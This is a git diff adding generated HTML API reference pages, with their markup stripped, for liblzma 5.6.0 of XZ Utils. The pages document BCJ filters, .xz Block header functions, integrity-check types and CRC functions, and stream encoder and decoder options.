liblzma 5.2.3 and earlier has a bug where memlimit value of 0 causes this function to do nothing (leaving the limit unchanged) and still return LZMA_OK. Later versions treat 0 as if 1 had been specified (so lzma_memlimit_get() will return 1 even if you specify 0 here).

+

liblzma 5.2.6 and earlier had a bug in single-threaded .xz decoder (lzma_stream_decoder()) which made it impossible to continue decoding after LZMA_MEMLIMIT_ERROR even if the limit was increased using lzma_memlimit_set(). Other decoders worked correctly.

+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: New memory usage limit successfully set.
  • +
  • LZMA_MEMLIMIT_ERROR: The new limit is too small. The limit was not changed.
  • +
  • LZMA_PROG_ERROR: Invalid arguments, e.g. *strm doesn't support memory usage limit.
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/bc_s.png b/doc/api/bc_s.png new file mode 100644 index 00000000..bb50b827 Binary files /dev/null and b/doc/api/bc_s.png differ diff --git a/doc/api/bc_sd.png b/doc/api/bc_sd.png new file mode 100644 index 00000000..8d8be4c2 Binary files /dev/null and b/doc/api/bc_sd.png differ diff --git a/doc/api/bcj_8h.html b/doc/api/bcj_8h.html new file mode 100644 index 00000000..5209b29b --- /dev/null +++ b/doc/api/bcj_8h.html @@ -0,0 +1,115 @@ + + + + + + + +liblzma (XZ Utils): lzma/bcj.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
bcj.h File Reference
+
+
+ +

Branch/Call/Jump conversion filters. +More...

+ + + + + +

+Data Structures

struct  lzma_options_bcj
 Options for BCJ filters. More...
 
+ + + + + + + + + + + + + + + + + + + + + + + + + +

+Macros

+#define LZMA_FILTER_X86   LZMA_VLI_C(0x04)
 Filter for x86 binaries.
 
+#define LZMA_FILTER_POWERPC   LZMA_VLI_C(0x05)
 Filter for Big endian PowerPC binaries.
 
+#define LZMA_FILTER_IA64   LZMA_VLI_C(0x06)
 Filter for IA-64 (Itanium) binaries.
 
+#define LZMA_FILTER_ARM   LZMA_VLI_C(0x07)
 Filter for ARM binaries.
 
+#define LZMA_FILTER_ARMTHUMB   LZMA_VLI_C(0x08)
 Filter for ARM-Thumb binaries.
 
+#define LZMA_FILTER_SPARC   LZMA_VLI_C(0x09)
 Filter for SPARC binaries.
 
+#define LZMA_FILTER_ARM64   LZMA_VLI_C(0x0A)
 Filter for ARM64 binaries.
 
+#define LZMA_FILTER_RISCV   LZMA_VLI_C(0x0B)
 Filter for RISC-V binaries.
 
+

Detailed Description

+

Branch/Call/Jump conversion filters.

+
Note
Never include this file directly. Use <lzma.h> instead.
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/block_8h.html b/doc/api/block_8h.html new file mode 100644 index 00000000..1f5eca01 --- /dev/null +++ b/doc/api/block_8h.html @@ -0,0 +1,764 @@ + + + + + + + +liblzma (XZ Utils): lzma/block.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
block.h File Reference
+
+
+ +

.xz Block handling +More...

+ + + + + +

+Data Structures

struct  lzma_block
 Options for the Block and Block Header encoders and decoders. More...
 
+ + + + + + + + +

+Macros

+#define LZMA_BLOCK_HEADER_SIZE_MIN   8
 
+#define LZMA_BLOCK_HEADER_SIZE_MAX   1024
 
#define lzma_block_header_size_decode(b)   (((uint32_t)(b) + 1) * 4)
 Decode the Block Header Size field.
 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Functions

lzma_ret lzma_block_header_size (lzma_block *block) lzma_nothrow lzma_attr_warn_unused_result
 Calculate Block Header Size.
 
lzma_ret lzma_block_header_encode (const lzma_block *block, uint8_t *out) lzma_nothrow lzma_attr_warn_unused_result
 Encode Block Header.
 
lzma_ret lzma_block_header_decode (lzma_block *block, const lzma_allocator *allocator, const uint8_t *in) lzma_nothrow lzma_attr_warn_unused_result
 Decode Block Header.
 
lzma_ret lzma_block_compressed_size (lzma_block *block, lzma_vli unpadded_size) lzma_nothrow lzma_attr_warn_unused_result
 Validate and set Compressed Size according to Unpadded Size.
 
lzma_vli lzma_block_unpadded_size (const lzma_block *block) lzma_nothrow lzma_attr_pure
 Calculate Unpadded Size.
 
lzma_vli lzma_block_total_size (const lzma_block *block) lzma_nothrow lzma_attr_pure
 Calculate the total encoded size of a Block.
 
lzma_ret lzma_block_encoder (lzma_stream *strm, lzma_block *block) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Block encoder.
 
lzma_ret lzma_block_decoder (lzma_stream *strm, lzma_block *block) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Block decoder.
 
size_t lzma_block_buffer_bound (size_t uncompressed_size) lzma_nothrow
 Calculate maximum output size for single-call Block encoding.
 
lzma_ret lzma_block_buffer_encode (lzma_block *block, const lzma_allocator *allocator, const uint8_t *in, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow lzma_attr_warn_unused_result
 Single-call .xz Block encoder.
 
lzma_ret lzma_block_uncomp_encode (lzma_block *block, const uint8_t *in, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow lzma_attr_warn_unused_result
 Single-call uncompressed .xz Block encoder.
 
lzma_ret lzma_block_buffer_decode (lzma_block *block, const lzma_allocator *allocator, const uint8_t *in, size_t *in_pos, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow
 Single-call .xz Block decoder.
 
+

Detailed Description

+

.xz Block handling

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ lzma_block_header_size_decode

+ +
+
+ + + + + + + + +
#define lzma_block_header_size_decode( b)   (((uint32_t)(b) + 1) * 4)
+
+ +

Decode the Block Header Size field.

+

To decode Block Header using lzma_block_header_decode(), the size of the Block Header has to be known and stored into lzma_block.header_size. The size can be calculated from the first byte of a Block using this macro. Note that if the first byte is 0x00, it indicates beginning of Index; use this macro only when the byte is not 0x00.

+

There is no encoding macro because lzma_block_header_size() and lzma_block_header_encode() should be used.

+ +
+
+

Function Documentation

+ +

◆ lzma_block_header_size()

+ +
+
+ + + + + + + + +
lzma_ret lzma_block_header_size (lzma_blockblock)
+
+ +

Calculate Block Header Size.

+

Calculate the minimum size needed for the Block Header field using the settings specified in the lzma_block structure. Note that it is OK to increase the calculated header_size value as long as it is a multiple of four and doesn't exceed LZMA_BLOCK_HEADER_SIZE_MAX. Increasing header_size just means that lzma_block_header_encode() will add Header Padding.

+
Note
This doesn't check that all the options are valid i.e. this may return LZMA_OK even if lzma_block_header_encode() or lzma_block_encoder() would fail. If you want to validate the filter chain, consider using lzma_memlimit_encoder() which as a side-effect validates the filter chain.
+
Parameters
+ + +
blockBlock options
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Size calculated successfully and stored to block->header_size.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported version, filters or filter options.
  • +
  • LZMA_PROG_ERROR: Invalid values like compressed_size == 0.
  • +
+
+ +
+
+ +

◆ lzma_block_header_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_header_encode (const lzma_blockblock,
uint8_t * out 
)
+
+ +

Encode Block Header.

+

The caller must have calculated the size of the Block Header already with lzma_block_header_size(). If a value larger than the one calculated by lzma_block_header_size() is used, the Block Header will be padded to the specified size.

+
Parameters
+ + + +
blockBlock options to be encoded.
[out]outBeginning of the output buffer. This must be at least block->header_size bytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful. block->header_size bytes were written to output buffer.
  • +
  • LZMA_OPTIONS_ERROR: Invalid or unsupported options.
  • +
  • LZMA_PROG_ERROR: Invalid arguments, for example block->header_size is invalid or block->filters is NULL.
  • +
+
+ +
+
+ +

◆ lzma_block_header_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_header_decode (lzma_blockblock,
const lzma_allocatorallocator,
const uint8_t * in 
)
+
+ +

Decode Block Header.

+

block->version should (usually) be set to the highest value supported by the application. If the application sets block->version to a value higher than supported by the current liblzma version, this function will downgrade block->version to the highest value supported by it. Thus one should check the value of block->version after calling this function if block->version was set to a non-zero value and the application doesn't otherwise know that the liblzma version being used is new enough to support the specified block->version.

+

The size of the Block Header must have already been decoded with lzma_block_header_size_decode() macro and stored to block->header_size.

+

The integrity check type from Stream Header must have been stored to block->check.

+

block->filters must have been allocated, but they don't need to be initialized (possible existing filter options are not freed).

+
Parameters
+ + + + +
[out]blockDestination for Block options
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() (and also free() if an error occurs).
inBeginning of the input buffer. This must be at least block->header_size bytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful. block->header_size bytes were read from the input buffer.
  • +
  • LZMA_OPTIONS_ERROR: The Block Header specifies some unsupported options such as unsupported filters. This can happen also if block->version was set to a too low value compared to what would be required to properly represent the information stored in the Block Header.
  • +
  • LZMA_DATA_ERROR: Block Header is corrupt, for example, the CRC32 doesn't match.
  • +
  • LZMA_PROG_ERROR: Invalid arguments, for example block->header_size is invalid or block->filters is NULL.
  • +
+
+ +
+
+ +

◆ lzma_block_compressed_size()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_compressed_size (lzma_blockblock,
lzma_vli unpadded_size 
)
+
+ +

Validate and set Compressed Size according to Unpadded Size.

+

Block Header stores Compressed Size, but Index has Unpadded Size. If the application has already parsed the Index and is now decoding Blocks, it can calculate Compressed Size from Unpadded Size. This function does exactly that with error checking:

+
    +
  • Compressed Size calculated from Unpadded Size must be positive integer, that is, Unpadded Size must be big enough that after Block Header and Check fields there's still at least one byte for Compressed Size.
  • +
  • If Compressed Size was present in Block Header, the new value calculated from Unpadded Size is compared against the value from Block Header.
  • +
+
Note
This function must be called _after_ decoding the Block Header field so that it can properly validate Compressed Size if it was present in Block Header.
+
Parameters
+ + + +
blockBlock options: block->header_size must already be set with lzma_block_header_size().
unpadded_sizeUnpadded Size from the Index field in bytes
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: block->compressed_size was set successfully.
  • +
  • LZMA_DATA_ERROR: unpadded_size is too small compared to block->header_size and lzma_check_size(block->check).
  • +
  • LZMA_PROG_ERROR: Some values are invalid. For example, block->header_size must be a multiple of four and between 8 and 1024 inclusive.
  • +
+
+ +
+
+ +

◆ lzma_block_unpadded_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_block_unpadded_size (const lzma_blockblock)
+
+ +

Calculate Unpadded Size.

+

The Index field stores Unpadded Size and Uncompressed Size. The latter can be taken directly from the lzma_block structure after coding a Block, but Unpadded Size needs to be calculated from Block Header Size, Compressed Size, and size of the Check field. This is where this function is needed.

+
Parameters
+ + +
blockBlock options: block->header_size must already be set with lzma_block_header_size().
+
+
+
Returns
Unpadded Size on success, or zero on error.
+ +
+
+ +

◆ lzma_block_total_size()

+ +
+
+ + + + + + + + +
lzma_vli lzma_block_total_size (const lzma_blockblock)
+
+ +

Calculate the total encoded size of a Block.

+

This is equivalent to lzma_block_unpadded_size() except that the returned value includes the size of the Block Padding field.

+
Parameters
+ + +
blockBlock options: block->header_size must already be set with lzma_block_header_size().
+
+
+
Returns
On success, total encoded size of the Block. On error, zero is returned.
+ +
+
+ +

◆ lzma_block_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_encoder (lzma_streamstrm,
lzma_blockblock 
)
+
+ +

Initialize .xz Block encoder.

+

Valid actions for lzma_code() are LZMA_RUN, LZMA_SYNC_FLUSH (only if the filter chain supports it), and LZMA_FINISH.

+

The Block encoder encodes the Block Data, Block Padding, and Check value. It does NOT encode the Block Header which can be encoded with lzma_block_header_encode().

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
blockBlock options: block->version, block->check, and block->filters must have been initialized.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: All good, continue with lzma_code().
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_UNSUPPORTED_CHECK: block->check specifies a Check ID that is not supported by this build of liblzma. Initializing the encoder failed.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_block_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_decoder (lzma_streamstrm,
lzma_blockblock 
)
+
+ +

Initialize .xz Block decoder.

+

Valid actions for lzma_code() are LZMA_RUN and LZMA_FINISH. Using LZMA_FINISH is not required. It is supported only for convenience.

+

The Block decoder decodes the Block Data, Block Padding, and Check value. It does NOT decode the Block Header which can be decoded with lzma_block_header_decode().

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
blockBlock options
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: All good, continue with lzma_code().
  • +
  • LZMA_PROG_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
+
+ +
+
+ +

◆ lzma_block_buffer_bound()

+ +
+
+ + + + + + + + +
size_t lzma_block_buffer_bound (size_t uncompressed_size)
+
+ +

Calculate maximum output size for single-call Block encoding.

+

This is equivalent to lzma_stream_buffer_bound() but for .xz Blocks. See the documentation of lzma_stream_buffer_bound().

+
Parameters
+ + +
uncompressed_sizeSize of the data to be encoded with the single-call Block encoder.
+
+
+
Returns
Maximum output size in bytes for single-call Block encoding.
+ +
+
+ +

◆ lzma_block_buffer_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_buffer_encode (lzma_blockblock,
const lzma_allocatorallocator,
const uint8_t * in,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call .xz Block encoder.

+

In contrast to the multi-call encoder initialized with lzma_block_encoder(), this function encodes also the Block Header. This is required to make it possible to write appropriate Block Header also in case the data isn't compressible, and different filter chain has to be used to encode the data in uncompressed form using uncompressed chunks of the LZMA2 filter.

+

When the data isn't compressible, header_size, compressed_size, and uncompressed_size are set just like when the data was compressible, but it is possible that header_size is too small to hold the filter chain specified in block->filters, because that isn't necessarily the filter chain that was actually used to encode the data. lzma_block_unpadded_size() still works normally, because it doesn't read the filters array.

+
Parameters
+ + + + + + + + +
blockBlock options: block->version, block->check, and block->filters must have been initialized.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_sizeSize of the input buffer
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_BUF_ERROR: Not enough output buffer space.
  • +
  • LZMA_UNSUPPORTED_CHECK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_block_uncomp_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_uncomp_encode (lzma_blockblock,
const uint8_t * in,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call uncompressed .xz Block encoder.

+

This is like lzma_block_buffer_encode() except this doesn't try to compress the data and instead encodes the data using LZMA2 uncompressed chunks. The required output buffer size can be determined with lzma_block_buffer_bound().

+

Since the data won't be compressed, this function ignores block->filters. This function doesn't take lzma_allocator because this function doesn't allocate any memory from the heap.

+
Parameters
+ + + + + + + +
blockBlock options: block->version, block->check, and block->filters must have been initialized.
inBeginning of the input buffer
in_sizeSize of the input buffer
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_BUF_ERROR: Not enough output buffer space.
  • +
  • LZMA_UNSUPPORTED_CHECK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_block_buffer_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_block_buffer_decode (lzma_blockblock,
const lzma_allocatorallocator,
const uint8_t * in,
size_t * in_pos,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call .xz Block decoder.

+

This is single-call equivalent of lzma_block_decoder(), and requires that the caller has already decoded Block Header and checked its memory usage.

+
Parameters
+ + + + + + + + + +
blockBlock options
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_posThe next byte will be read from in[*in_pos]. *in_pos is updated only if decoding succeeds.
in_sizeSize of the input buffer; the first byte that won't be read is in[in_size].
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful.
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_BUF_ERROR: Output buffer was too small.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/check_8h.html b/doc/api/check_8h.html new file mode 100644 index 00000000..e7301fa8 --- /dev/null +++ b/doc/api/check_8h.html @@ -0,0 +1,346 @@ + + + + + + + +liblzma (XZ Utils): lzma/check.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
check.h File Reference
+
+
+ +

Integrity checks. +More...

+ + + + + + + + +

+Macros

#define LZMA_CHECK_ID_MAX   15
 Maximum valid Check ID.
 
+#define LZMA_CHECK_SIZE_MAX   64
 Maximum size of a Check field.
 
+ + + + +

+Enumerations

enum  lzma_check { LZMA_CHECK_NONE = 0 +, LZMA_CHECK_CRC32 = 1 +, LZMA_CHECK_CRC64 = 4 +, LZMA_CHECK_SHA256 = 10 + }
 Type of the integrity check (Check ID) More...
 
+ + + + + + + + + + + + + + + + +

+Functions

lzma_bool lzma_check_is_supported (lzma_check check) lzma_nothrow lzma_attr_const
 Test if the given Check ID is supported.
 
uint32_t lzma_check_size (lzma_check check) lzma_nothrow lzma_attr_const
 Get the size of the Check field with the given Check ID.
 
uint32_t lzma_crc32 (const uint8_t *buf, size_t size, uint32_t crc) lzma_nothrow lzma_attr_pure
 Calculate CRC32.
 
uint64_t lzma_crc64 (const uint8_t *buf, size_t size, uint64_t crc) lzma_nothrow lzma_attr_pure
 Calculate CRC64.
 
lzma_check lzma_get_check (const lzma_stream *strm) lzma_nothrow
 Get the type of the integrity check.
 
+

Detailed Description

+

Integrity checks.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_CHECK_ID_MAX

+ +
+
+ + + + +
#define LZMA_CHECK_ID_MAX   15
+
+ +

Maximum valid Check ID.

+

The .xz file format specification specifies 16 Check IDs (0-15). Some of them are only reserved, that is, no actual Check algorithm has been assigned. When decoding, liblzma still accepts unknown Check IDs for future compatibility. If a valid but unsupported Check ID is detected, liblzma can indicate a warning; see the flags LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, and LZMA_TELL_ANY_CHECK in container.h.

+ +
+
+

Enumeration Type Documentation

+ +

◆ lzma_check

+ +
+
+ + + + +
enum lzma_check
+
+ +

Type of the integrity check (Check ID)

+

The .xz format supports multiple types of checks that are calculated from the uncompressed data. They vary in both speed and ability to detect errors.

+ + + + + +
Enumerator
LZMA_CHECK_NONE 

No Check is calculated.

+

Size of the Check field: 0 bytes

+
LZMA_CHECK_CRC32 

CRC32 using the polynomial from the IEEE 802.3 standard

+

Size of the Check field: 4 bytes

+
LZMA_CHECK_CRC64 

CRC64 using the polynomial from the ECMA-182 standard

+

Size of the Check field: 8 bytes

+
LZMA_CHECK_SHA256 

SHA-256

+

Size of the Check field: 32 bytes

+
+ +
+
+

Function Documentation

+ +

◆ lzma_check_is_supported()

+ +
+
+ + + + + + + + +
lzma_bool lzma_check_is_supported (lzma_check check) const
+
+ +

Test if the given Check ID is supported.

+

LZMA_CHECK_NONE and LZMA_CHECK_CRC32 are always supported (even if liblzma is built with limited features).

+
Note
It is safe to call this with a value that is not in the range [0, 15]; in that case the return value is always false.
+
Parameters
+ + +
checkCheck ID
+
+
+
Returns
lzma_bool:
    +
  • true if Check ID is supported by this liblzma build.
  • +
  • false otherwise.
  • +
+
+ +
+
+ +

◆ lzma_check_size()

+ +
+
+ + + + + + + + +
uint32_t lzma_check_size (lzma_check check) const
+
+ +

Get the size of the Check field with the given Check ID.

+

Although not all Check IDs have a check algorithm associated, the size of every Check is already frozen. This function returns the size (in bytes) of the Check field with the specified Check ID. The values are: { 0, 4, 4, 4, 8, 8, 8, 16, 16, 16, 32, 32, 32, 64, 64, 64 }

+
Parameters
+ + +
checkCheck ID
+
+
+
Returns
Size of the Check field in bytes. If the argument is not in the range [0, 15], UINT32_MAX is returned.
+ +
+
+ +

◆ lzma_crc32()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
uint32_t lzma_crc32 (const uint8_t * buf,
size_t size,
uint32_t crc 
)
+
+ +

Calculate CRC32.

+

Calculate CRC32 using the polynomial from the IEEE 802.3 standard.

+
Parameters
+ + + + +
bufPointer to the input buffer
sizeSize of the input buffer
crcPreviously returned CRC value. This is used to calculate the CRC of a big buffer in smaller chunks. Set to zero when starting a new calculation.
+
+
+
Returns
Updated CRC value, which can be passed to this function again to continue CRC calculation.
+ +
+
+ +

◆ lzma_crc64()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
uint64_t lzma_crc64 (const uint8_t * buf,
size_t size,
uint64_t crc 
)
+
+ +

Calculate CRC64.

+

Calculate CRC64 using the polynomial from the ECMA-182 standard.

+

This function is used similarly to lzma_crc32().

+
Parameters
+ + + + +
bufPointer to the input buffer
sizeSize of the input buffer
crcPreviously returned CRC value. This is used to calculate the CRC of a big buffer in smaller chunks. Set to zero when starting a new calculation.
+
+
+
Returns
Updated CRC value, which can be passed to this function again to continue CRC calculation.
+ +
+
+ +

◆ lzma_get_check()

+ +
+
+ + + + + + + + +
lzma_check lzma_get_check (const lzma_streamstrm)
+
+ +

Get the type of the integrity check.

+

This function can be called only immediately after lzma_code() has returned LZMA_NO_CHECK, LZMA_UNSUPPORTED_CHECK, or LZMA_GET_CHECK. Calling this function in any other situation has undefined behavior.

+
Parameters
+ + +
strmPointer to lzma_stream meeting the above conditions.
+
+
+
Returns
Check ID in the lzma_stream, or undefined if called improperly.
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/classes.html b/doc/api/classes.html new file mode 100644 index 00000000..6042072c --- /dev/null +++ b/doc/api/classes.html @@ -0,0 +1,66 @@ + + + + + + + +liblzma (XZ Utils): Data Structure Index + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+
Data Structure Index
+
+ + +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/closed.png b/doc/api/closed.png new file mode 100644 index 00000000..91f4888e Binary files /dev/null and b/doc/api/closed.png differ diff --git a/doc/api/container_8h.html b/doc/api/container_8h.html new file mode 100644 index 00000000..00965c0a --- /dev/null +++ b/doc/api/container_8h.html @@ -0,0 +1,1317 @@ + + + + + + + +liblzma (XZ Utils): lzma/container.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
container.h File Reference
+
+
+ +

File formats. +More...

+ + + + + +

+Data Structures

struct  lzma_mt
 Multithreading options. More...
 
+ + + + + + + + + + + + + + + + + + + + + + +

+Macros

#define LZMA_PRESET_DEFAULT   UINT32_C(6)
 Default compression preset.
 
#define LZMA_PRESET_LEVEL_MASK   UINT32_C(0x1F)
 Mask for preset level.
 
#define LZMA_PRESET_EXTREME   (UINT32_C(1) << 31)
 Extreme compression preset.
 
#define LZMA_TELL_NO_CHECK   UINT32_C(0x01)
 
#define LZMA_TELL_UNSUPPORTED_CHECK   UINT32_C(0x02)
 
#define LZMA_TELL_ANY_CHECK   UINT32_C(0x04)
 
#define LZMA_IGNORE_CHECK   UINT32_C(0x10)
 
#define LZMA_CONCATENATED   UINT32_C(0x08)
 
#define LZMA_FAIL_FAST   UINT32_C(0x20)
 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Functions

uint64_t lzma_easy_encoder_memusage (uint32_t preset) lzma_nothrow lzma_attr_pure
 Calculate approximate memory usage of easy encoder.
 
uint64_t lzma_easy_decoder_memusage (uint32_t preset) lzma_nothrow lzma_attr_pure
 Calculate approximate decoder memory usage of a preset.
 
lzma_ret lzma_easy_encoder (lzma_stream *strm, uint32_t preset, lzma_check check) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Stream encoder using a preset number.
 
lzma_ret lzma_easy_buffer_encode (uint32_t preset, lzma_check check, const lzma_allocator *allocator, const uint8_t *in, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow
 Single-call .xz Stream encoding using a preset number.
 
lzma_ret lzma_stream_encoder (lzma_stream *strm, const lzma_filter *filters, lzma_check check) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Stream encoder using a custom filter chain.
 
uint64_t lzma_stream_encoder_mt_memusage (const lzma_mt *options) lzma_nothrow lzma_attr_pure
 Calculate approximate memory usage of multithreaded .xz encoder.
 
lzma_ret lzma_stream_encoder_mt (lzma_stream *strm, const lzma_mt *options) lzma_nothrow lzma_attr_warn_unused_result
 Initialize multithreaded .xz Stream encoder.
 
uint64_t lzma_mt_block_size (const lzma_filter *filters) lzma_nothrow
 Calculate recommended Block size for multithreaded .xz encoder.
 
lzma_ret lzma_alone_encoder (lzma_stream *strm, const lzma_options_lzma *options) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .lzma encoder (legacy file format)
 
size_t lzma_stream_buffer_bound (size_t uncompressed_size) lzma_nothrow
 Calculate output buffer size for single-call Stream encoder.
 
lzma_ret lzma_stream_buffer_encode (lzma_filter *filters, lzma_check check, const lzma_allocator *allocator, const uint8_t *in, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow lzma_attr_warn_unused_result
 Single-call .xz Stream encoder.
 
lzma_ret lzma_microlzma_encoder (lzma_stream *strm, const lzma_options_lzma *options) lzma_nothrow
 MicroLZMA encoder.
 
lzma_ret lzma_stream_decoder (lzma_stream *strm, uint64_t memlimit, uint32_t flags) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .xz Stream decoder.
 
lzma_ret lzma_stream_decoder_mt (lzma_stream *strm, const lzma_mt *options) lzma_nothrow lzma_attr_warn_unused_result
 Initialize multithreaded .xz Stream decoder.
 
lzma_ret lzma_auto_decoder (lzma_stream *strm, uint64_t memlimit, uint32_t flags) lzma_nothrow lzma_attr_warn_unused_result
 Decode .xz, .lzma, and .lz (lzip) files with autodetection.
 
lzma_ret lzma_alone_decoder (lzma_stream *strm, uint64_t memlimit) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .lzma decoder (legacy file format)
 
lzma_ret lzma_lzip_decoder (lzma_stream *strm, uint64_t memlimit, uint32_t flags) lzma_nothrow lzma_attr_warn_unused_result
 Initialize .lz (lzip) decoder (a foreign file format)
 
lzma_ret lzma_stream_buffer_decode (uint64_t *memlimit, uint32_t flags, const lzma_allocator *allocator, const uint8_t *in, size_t *in_pos, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow lzma_attr_warn_unused_result
 Single-call .xz Stream decoder.
 
lzma_ret lzma_microlzma_decoder (lzma_stream *strm, uint64_t comp_size, uint64_t uncomp_size, lzma_bool uncomp_size_is_exact, uint32_t dict_size) lzma_nothrow
 MicroLZMA decoder.
 
+

Detailed Description

+

File formats.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_PRESET_DEFAULT

+ +
+
+ + + + +
#define LZMA_PRESET_DEFAULT   UINT32_C(6)
+
+ +

Default compression preset.

+

It's not straightforward to recommend a default preset, because in some cases keeping the resource usage relatively low is more important that getting the maximum compression ratio.

+ +
+
+ +

◆ LZMA_PRESET_LEVEL_MASK

+ +
+
+ + + + +
#define LZMA_PRESET_LEVEL_MASK   UINT32_C(0x1F)
+
+ +

Mask for preset level.

+

This is useful only if you need to extract the level from the preset variable. That should be rare.

+ +
+
+ +

◆ LZMA_PRESET_EXTREME

+ +
+
+ + + + +
#define LZMA_PRESET_EXTREME   (UINT32_C(1) << 31)
+
+ +

Extreme compression preset.

+

This flag modifies the preset to make the encoding significantly slower while improving the compression ratio only marginally. This is useful when you don't mind spending time to get as small result as possible.

+

